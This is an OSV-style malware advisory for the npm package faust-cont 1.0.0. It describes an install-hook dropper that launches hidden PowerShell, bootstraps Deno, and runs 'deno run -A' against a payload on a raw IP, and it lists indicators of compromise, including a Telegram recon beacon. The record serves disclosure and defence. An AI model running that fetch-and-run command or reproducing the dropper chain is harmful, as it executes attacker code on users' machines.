{
  "schema_version": "1.6.0",
  "id": "CLR-2026-3040",
  "modified": "2026-07-21T00:00:00Z",
  "published": "2026-07-21T00:00:00Z",
  "summary": "faust-cont — an install-hook dropper that runs remote code via Deno",
  "details": "The npm package faust-cont@1.0.0 declares an install lifecycle hook (node install.js) that runs on every npm install, before any of your own code. On Windows it writes and launches a hidden PowerShell script that bootstraps a runtime toolchain (scoop → winget → Deno) and then executes deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js — remote code fetched from a raw IP over plain HTTP, run with all Deno permissions. index.js is a benign \"cli tool\" decoy.",
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "faust-cont"
      },
      "versions": [
        "1.0.0"
      ]
    }
  ],
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://research.codelake.dev/advisories/clr-2026-3040-faust-cont"
    }
  ],
  "credits": [
    {
      "name": "Sascha Klein, codelake Research",
      "type": "FINDER",
      "contact": [
        "https://research.codelake.dev"
      ]
    }
  ],
  "database_specific": {
    "caseId": "CLR-2026-3040",
    "kind": "malware",
    "class": "Install-hook dropper (remote code exec)",
    "severity": "Critical",
    "status": "Confirmed malicious",
    "iocs": {
      "ips": [
        "172.94.9.157"
      ],
      "hashes": [
        "sha256:f1266f45fb05fe93f1dc6bd46e68c9c6efc53b18f18848c3418b48be6c8b0f1c",
        "sha256:d06919a5eace0256f81324e6e08c71eb8284f4c7f4af91d24a50d2d11dd50342",
        "sha256:5c3669b962fae0937b5539ae5f045e9759dfece575c12851f6e9c143d2aa03ee"
      ],
      "indicators": [
        "172.94.9.157 — payload host (raw IP, plain HTTP)",
        "http://172.94.9.157/v028f8cde892b0b74c8.js — Deno-executed remote payload (all permissions)",
        "install.js (npm install hook) → writes %TEMP%\\setup.ps1 → hidden PowerShell → scoop / winget / Deno bootstrap → deno run -A <url>",
        "api.telegram.org/bot<token>/sendMessage — \"[NEW INSTALLATION]\" recon beacon (token blank in this build)",
        "faust-cont-1.0.0.tgz: f1266f45fb05fe93f1dc6bd46e68c9c6efc53b18f18848c3418b48be6c8b0f1c",
        "install.js: d06919a5eace0256f81324e6e08c71eb8284f4c7f4af91d24a50d2d11dd50342",
        "setup.ps1: 5c3669b962fae0937b5539ae5f045e9759dfece575c12851f6e9c143d2aa03ee"
      ]
    }
  }
}